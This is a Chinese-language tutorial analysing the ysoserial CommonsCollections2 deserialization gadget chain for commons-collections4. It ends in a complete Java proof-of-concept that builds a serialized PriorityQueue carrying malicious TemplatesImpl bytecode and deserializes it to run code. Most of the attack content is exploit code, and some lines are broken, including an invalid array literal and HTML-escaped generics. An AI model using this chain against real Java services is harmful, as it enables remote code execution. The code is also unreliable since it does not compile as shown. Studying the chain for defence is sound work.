Java安全 ysoserial CommonsCollections2示例分析

目录
  • 正文
  • cc2 commons-collections4版本利用链
  • InvokerTransformer.transform()利用
  • InvokerTransformer.transform()的调用
  • TransformingComparator.compare()的调用
  • queue属性赋值
  • 最终完整利用实现

正文

在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2 commons-collections4版本利用链

cc2是针对commons-collections4版本,利用链如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);
    }
}

InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;
    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i &lt; size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    heapify();
}

通过反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

最终完整利用实现

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();
    }
}

以上就是Java安全 ysoserial CommonsCollections2示例分析的详细内容,更多关于Java ysoserial CommonsCollections的资料请关注我们其它相关文章!

(0)

相关推荐

  • java安全 ysoserial CommonsCollections1示例解析

    目录 正文 先假设Runtime类可序列化 调用InvokerTransformer.transform() InvokerTransformer的transform调用 ChainedTransformer的transform谁来调? lazyMap的get谁来调用? AnnotationInvocationHandler的readobject重写 正文 /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHa

  • java 安全 ysoserial CommonsCollections6 分析

    目录 利用链如下 1.InvokerTransformer.transform() 2.ChainedTransformer.transform() 3.LazyMap.get() 4.TiedMapEntry 5.HashMap 6.HashSet 利用链如下 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* Gadget chain: java.io.Object

  • java安全之CommonsCollections4详解

    目录 引子 PriorityQueue readobject()方法 heapify()调用了siftdown()方法 TransformingComparator 问题 POC 结语 引子 CC4简单来说就是CC3前半部分和CC2后半部分拼接组成的,对于其利用的限制条件与CC2一致,一样需要在commons-collections-4.0版本使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化. 接下来让我们

  • Java安全 ysoserial CommonsCollections3示例分析

    目录 cc3利用链如下: 一.为构造的恶意字节码文件找一个newInstance启动入口 构造恶意类: 加载的字节码类需要继承AbstractTranslet 二.将字节码内容直接赋值序列化 三.让newTransformer得到执行 cc3利用链如下: TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTransletInstance() _class[_transletInde

  • Java安全 ysoserial CommonsCollections2示例分析

    目录 正文 cc2 commons-collections4版本利用链 InvokerTransformer.transform()利用 InvokerTransformer.transform()的调用 TransformingComparator.compare()的调用 queue属性赋值 最终完整利用实现 正文 在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransfor

  • elasticsearch构造Client实现java客户端调用接口示例分析

    目录 client的继承关系 方法实现上 以index方法为例 execute方法代码 总结: elasticsearch通过构造一个client对外提供了一套丰富的java调用接口.总体来说client分为两类cluster信息方面的client及数据(index)方面的client.这两个大类由可以分为通用操作和admin操作两类. client的继承关系 (1.5版本,其它版本可能不一样): 通过这个继承关系图可以很清楚的了解client的实现,及功能.总共有三类即client, indi

  • Java中时间戳的获取和转换的示例分析

    日期时间是Java一个重要的数据类型,常见的日期时间格式通常为"yyyy-MM-dd HH:mm:ss",但是计算机中存储的日期时间并非字符串形式,而是长整型的时间戳.因为字符串又占用空间又难以运算,相比之下,长整型只占用四个字节,普通的加减乘除运算更是不在话下,所以时间戳是最佳的日期时间存储方案. 获取时间戳的代码很简单,只需调用System类的currentTimeMillis方法即可,如下所示: // 从System类获取当前的时间戳 long timeFromSystem =

  • Java前后端分离之权限管理示例分析

    目录 1.前端界面 1.1 按钮 1.2 对话框+树形控件 2.后端操作 2.1 controller层 2.2 serviceImpl层 2.3 结果展示 2.4 查对应的权限菜单(使用中间表) 2.4.1 后端处理(权限回显) 2.4.2 前端处理 2.4.3 后端处理(确定修改权限) 1.前端界面 1.1 按钮 借助elementui中的表格部分 <template slot-scope="scope"> <el-button @click="perm

  • java 字符串内存分配的分析与总结(推荐)

    经常在网上各大版块都能看到对于java字符串运行时内存分配的探讨,形如:String a = "123",String b = new String("123"),这两种形式的字符串是存放在什么地方的呢,其实这两种形式的字符串字面值"123"本身在运行时既不是存放在栈上,也不是存放在堆上,他们是存放在方法区中的某个常量区,并且对于相同的字符串字面值在内存中只保留一份.下面我们将以实例来分析. 1.==运算符作用在两个字符串引用比较的两个案例: p

  • Java BigDecimal和double示例及相关问题解析

    BigDecimal类 对于不需要任何准确计算精度的数字可以直接使用float或double,但是如果需要精确计算的结果,则必须使用BigDecimal类,而且使用BigDecimal类也可以进行大数的操作.BigDecimal类的常用方法如表1所示. 表1 BigDecimal类的常用方法 序号 方    法 类型 描    述 1 public BigDecimal(double val) 构造 将double表示形式转换 为BigDecimal 2 public BigDecimal(in

  • 基于Java 生产者消费者模式(详细分析)

    生产者消费者模式是多线程中最为常见的模式:生产者线程(一个或多个)生成面包放进篮子里(集合或数组),同时,消费者线程(一个或多个)从篮子里(集合或数组)取出面包消耗.虽然它们任务不同,但处理的资源是相同的,这体现的是一种线程间通信方式. 本文将先说明单生产者单消费者的情况,之后再说明多生产者多消费者模式的情况.还会分别使用wait()/nofity()/nofityAll()机制.lock()/unlock()机制实现这两种模式. 在开始介绍模式之前,先解释下wait().notify()和no

  • java彩色瓷砖编程题分析

    牛牛喜欢彩色的东西,尤其是彩色的瓷砖.牛牛的房间内铺有L块正方形瓷砖.每块砖的颜色有四种可能:红.绿.蓝.黄.给定一个字符串S, 如果S的第i个字符是'R', 'G', 'B'或'Y',那么第i块瓷砖的颜色就分别是红.绿.蓝或者黄. 牛牛决定换掉一些瓷砖的颜色,使得相邻两块瓷砖的颜色均不相同.请帮牛牛计算他最少需要换掉的瓷砖数量. 输入描述: 输入包括一行,一个字符串S,字符串长度length(1 ≤ length ≤ 10),字符串中每个字符串都是'R', 'G', 'B'或者'Y'. 输出描

随机推荐